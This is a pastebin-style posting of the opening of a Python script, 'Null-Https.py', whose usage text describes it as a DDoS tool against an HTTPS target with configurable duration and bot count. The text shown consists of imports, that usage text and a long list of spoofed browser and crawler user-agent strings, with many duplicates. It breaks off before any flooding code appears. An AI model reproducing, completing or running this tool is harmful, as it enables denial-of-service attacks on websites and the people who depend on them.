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Null-Https.py

BannedOffline Aug 15th, 2016 242 Never
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  1. import os
  2. import re
  3. import sys
  4. import time
  5. import signal
  6. import socket
  7. import getopt
  8. import random
  9. import urllib2
  10. import threading
  11.  
  12. def usage():
  13.     print ''' usage : python ssl-attack.py [-t] [-c] https://www.target.com/
  14.     -h : help
  15.     -t : lasting time of ddos
  16.     -c : numbers of bots to create (2000) recommended'''
  17.     sys.exit()
  18.  
  19. # generates a user agent array
  20. def useragent_list():
  21.     global headers_useragents
  22.     headers_useragents = []
  23.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  24.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  25.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  26.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  27.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  28.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  29.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  30.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  31.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  32.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  33.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  34.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  35.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  36.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  37.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  38.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  39.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  40.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  41.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  42.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  43.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  44.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  45.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  46.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  47.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  48.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  49.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  50.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  51.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  52.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  53.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  54.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  55.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  56.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  57.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  58.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  59.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  60.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  61.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  62.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  63.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  64.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  65.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  66.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  67.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  68.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  69.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  70.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  71.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  72.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  73.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  74.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  75.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  76.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  77.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  78.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  79.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  80.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  81.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  82.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  83.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  84.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  85.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  86.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  87.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  88.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  89.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  90.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  91.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  92.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  93.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  94.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  95.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  96.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  97.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  98.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  99.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  100.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  101.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  102.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  103.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  104.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  105.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  106.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  107.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  108.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  109.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  110.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  111.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  112.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  113.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  114.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  115.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  116.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  117.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  118.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  119.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  120.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  121.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  122.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  123.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  124.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  125.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  126.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  127.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  128.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  129.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  130.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  131.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  132.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  133.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  134.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  135.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  136.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  137.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  138.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  139.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  140.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  141.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  142.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  143.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  144.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  145.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  146.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  147.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  148.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  149.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  150.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  151.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  152.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  153.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  154.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  155.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  156.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  157.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  158.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  159.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  160.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  161.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  162.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  163.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  164.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  165.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  166.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  167.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  168.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  169.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  170.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  171.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  172.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  173.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  174.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  175.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  176.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  177.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  178.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  179.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  180.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  181.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  182.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  183.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  184.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  185.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  186.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  187.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  188.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  189.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  190.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  191.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  192.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  193.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  194.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  195.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  196.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  197.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  198.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  199.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  200.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  201.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  202.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  203.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  204.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  205.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  206.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  207.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  208.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  209.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  210.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  211.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  212.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
